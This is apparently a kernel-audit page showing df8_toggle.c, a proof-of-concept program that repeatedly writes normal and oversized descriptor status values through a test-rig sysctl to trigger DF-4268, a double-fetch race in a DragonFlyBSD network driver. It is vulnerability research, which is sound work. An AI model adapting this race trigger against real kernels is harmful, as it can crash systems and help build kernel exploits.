⬢ DragonFlyBSD Kernel Audit
DF-4268 / df8_toggle.c
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
 * df8_toggle.c — userland "NIC" for the DF-4268 double-fetch race.
 *
 * Rewrites the rig's rx_list[0].wb_status through the kern.dfwb3.tog
 * sysctl with a 4:1 GOOD/HUGE duty cycle:
 *
 *   GOOD = 0xC0400300  OWN|RXCMP|LASTFRAG|FIRSTFRAG | len 64
 *   HUGE = 0xFFFF0300  OWN|RXCMP|LASTFRAG|FIRSTFRAG | len 16383
 *
 * (both OWN=1: the mid-write-back transient the stock inverted loop
 * accepts; on an honest chip the transient occurs while the DMA engine
 * writes the status word — DF-4266's inversion widens it to any
 * chip-owned descriptor.)
 *
 * The values are written as SIGNED ints (sysctl ints are signed).
 *
 * Pin to a CPU away from the dispatching sysctl, e.g.:
 *   usched bsd4:8 ./df8_toggle        # CPU 3
 *   usched bsd4:1 sysctl -w kern.dfwb3.go4268=1     # CPU 0
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int
main(void)
{
	int good = (int)0xC0400300u;
	int huge = (int)0xFFFF0300u;
	long n = 0;
	int i;

	printf("df8_toggle: hammering kern.dfwb3.tog good=%#x/%d "
	    "huge=%#x/%d (4:1)\n", 0xC0400300u, good, 0xFFFF0300u, huge);
	fflush(stdout);
	for (;;) {
		for (i = 0; i < 4; i++) {
			sysctlbyname("kern.dfwb3.tog", NULL, NULL,
			    &good, sizeof(good));
		}
		sysctlbyname("kern.dfwb3.tog", NULL, NULL,
		    &huge, sizeof(huge));
		if ((++n & 0xFFFFF) == 0) {
			printf("df8_toggle: %ld writes\n", n * 5);
			fflush(stdout);
		}
	}
}